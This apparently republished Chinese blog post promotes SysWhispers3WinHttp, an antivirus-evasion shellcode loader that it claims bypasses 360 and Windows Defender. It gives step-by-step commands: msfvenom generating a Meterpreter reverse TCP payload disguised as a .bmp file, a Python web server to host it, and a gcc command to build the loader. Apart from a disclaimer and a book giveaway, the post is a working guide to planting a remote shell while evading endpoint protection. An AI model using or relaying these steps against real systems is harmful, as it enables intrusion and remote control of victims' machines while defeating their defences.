免杀工具 -- SysWhispers3WinHttp（3月22日更新）
2023-4-4 08:3:45 Author: Web安全工具库(查看原文) 阅读量:57 收藏

===================================

免责声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。

0x01 工具介绍

SysWhispers3WinHttp 基于SysWhispers3项目增添WinHttp分离加载功能并使用32位GCC进行编译，文件大小14KB，可免杀绕过360核晶防护与Defender。

0x02 安装与使用

1、使用msfvenom生成shellcode（或使用CobaltStrike生成Stageless之shellcode）
msfvenom -p windows/meterpreter_reverse_tcp lhost=192.168.1.104 lport=4444 -f raw -o test.bmp

2、使用python3开启Web服务（或使用CobaltStrike之Scripted Web Delivery功能）

python3 -m http.server

3、修改SysWhispers3WinHttp.c 第40行IP地址并使用32位GCC进行编译

gcc .\syscalls.c .\SysWhispers3WinHttp.c -o .\SysWhispers3WinHttp.exe -masm=intel -fpermissive -w -s -lwinhttp

4、32位GCC下载地址

https://master.dl.sourceforge.net/project/mingw-w64/Toolchains%20targetting%20Win32/Personal%20Builds/mingw-builds/6.4.0/threads-win32/sjlj/i686-6.4.0-release-win32-sjlj-rt_v5-rev0.7z?viasf=1

0x03 项目链接下载

1、通过阅读原文，到项目地址下载
2、公众号后台回复：工具666，获取网盘下载链接
3、关注下方公众号回复：送书666，获取抽奖码
4、每日抽奖送书规则

· 今 日 送 书 ·

本书开篇清晰讲解加密基础知识，然后循序渐进地讲述如何实施多层防御、安全的用户身份验证、安全的第三方访问，分析如何保护应用程序免受常见黑客攻击。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247508157&idx=1&sn=7ca8b51a78f832acef6e7d74a80df133&chksm=ebb54fbedcc2c6a8d4f7b91efebd03440ec85c9d7f501f72087a395c03681d15c9de731e0e86#rd
如有侵权请联系:admin#unsafe.sh